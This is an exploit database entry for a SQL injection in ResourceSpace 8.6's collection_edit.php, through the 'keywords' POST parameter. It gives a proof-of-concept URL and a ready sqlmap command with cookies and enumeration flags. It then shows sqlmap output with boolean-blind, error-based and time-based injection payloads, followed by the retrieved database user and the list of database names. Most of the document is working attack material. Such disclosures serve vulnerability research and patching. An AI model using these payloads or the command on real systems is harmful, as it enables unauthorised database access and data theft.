ResourceSpace 8.6 - 'collection_edit.php' SQL Injection

EDB-ID:
46274

CVE:
N/A

EDB Verified: ×

Author:
DD_

Type:
WEBAPPS

Exploit: / {}

Platform:
PHP

Date:
2019-01-28

Vulnerable App:

```
# Exploit Title: ResourceSpace <=8.6 'collection_edit.php' SQL Injection
# Dork: N/A
# Date: 2019-01-25
# Exploit Author: dd_ (info@malicious.group)
# Vendor Homepage: https://www.resourcespace.com/
# Software Link: https://www.resourcespace.com/get
# Version: Stable release: 8.6
# Tested on: PHP/MySQL (PHP 7.2 / MySQL 5.7.25-0ubuntu0.18.04.2-log)
# Vendor Alerted: 1/21/2019
# Vendor Banner: ResourceSpace open source digital asset management
software is the simple, fast, & free way to organise your digital assets.


# POC:
# 1)
# http://localhost/pages/collection_edit.php?CSRFToken=
[CRSF_TOKEN_HERE]&redirect=yes&ref=3620&submitted=true&name=PWNED&keywords=
[SQL]&copy=&save=%C2%A0%C2%A0Save%C2%A0%C2%A0



# Running the SQLMap command:

sqlmap -u 'http://localhost/pages/collection_edit.php' --data='CSRFToken=
<csrf
token>&redirect=yes&ref=3620&submitted=true&name=PWNED&keywords=*&copy=&save=
--cookie='language=en-US;language=en-
US;thumbs=show;user=3154df279ea69a45caeaccf8a5fd1550;saved_col_order_by=creat
786628.3871876%2C4;plupload_ui_view=list;ui_view_full_site=true' --
dbms=mysql --level=5 --risk=3 -p keywords --technique=ETB --dbs --current-
user --current-db --is-dba



# Will trigger the following injection methods:


[*] starting @ 13:21:45 /2019-01-25/

[13:21:45] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: keywords (POST)
    Type: boolean-based blind
    Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or
GROUP BY clause
    Payload:
CSRFToken=YzcxMmYxMTcyM2E1NjYyNWFmZTAxZTBlMTZmYjI2OTU2YzI0OWNhZTBjMzNmYzI0ZTR
RLIKE (SELECT (CASE WHEN (6076=6076) THEN
0x312532353237253235324625323532412532353241253235324652c494b452532353246253
ELSE 0x28 END)) AND
'HDWY'='HDWY&public=0&autocomplete_parameter=pwned&users=1%27%2F%2A%2A%2FRLIK

    Type: error-based
    Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP
BY clause (EXTRACTVALUE)
    Payload:
CSRFToken=YzcxMmYxMTcyM2E1NjYyNWFmZTAxZTBlMTZmYjI2OTU2YzI0OWNhZTBjMzNmYzI0ZTR
AND EXTRACTVALUE(8779,CONCAT(0x5c,0x716b786a71,(SELECT
(ELT(8779=8779,1))),0x7176626271)) AND
'cjUk'='cjUk&public=0&autocomplete_parameter=pwned&users=1%27%2F%2A%2A%2FRLIK

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 RLIKE time-based blind
    Payload:
```

```
CSRFToken=YzcxMmYxMTcyM2E1NjYyNWFmZTAxZTBlMTZmYjI2OTU2YzI0OWNhZTBjMzNmYzI0ZTR
RLIKE SLEEP(5) AND
'EqqU'='EqqU&public=0&autocomplete_parameter=pwned&users=1%27%2F%2A%2A%2FRLIK
---
[13:21:47] [INFO] testing MySQL
[13:21:47] [INFO] confirming MySQL
[13:21:48] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.14.0
back-end DBMS: MySQL >= 5.0.0
[13:21:48] [INFO] fetching current user
[13:21:50] [INFO] retrieved: 'pwner@localhost'
current user:    'pwner@localhost'
[13:21:50] [INFO] fetching current database
[13:21:52] [INFO] retrieved: 'resourcespace'
current database:    'resourcespace'
[13:21:52] [INFO] testing if current user is DBA
[13:21:52] [INFO] fetching current user
current user is DBA:    False
[13:21:53] [INFO] fetching database names
[13:21:54] [WARNING] the SQL query provided does not return any output
[13:21:54] [WARNING] in case of continuous data retrieval problems you are
advised to try a switch '--no-cast' or switch '--hex'
[13:21:54] [INFO] fetching number of databases
[13:21:54] [INFO] resumed: 6
[13:21:54] [INFO] resumed: information_schema
[13:21:54] [INFO] resumed: mysql
[13:21:54] [INFO] resumed: performance_schema
[13:21:54] [INFO] resumed: phpmyadmin
[13:21:54] [INFO] resumed: resourcespace
[13:21:54] [INFO] resumed: sys
available databases [6]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] phpmyadmin
[*] resourcespace
[*] sys

[13:21:54] [INFO] fetched data logged to text files under
'/home/notroot/.sqlmap/output/localhost'

[*] ending @ 13:21:54 /2019-01-25/
```

Tags: SQL Injection (SQLi) **Advisory/Source:** Link

Databases

Links

Sites

Solutions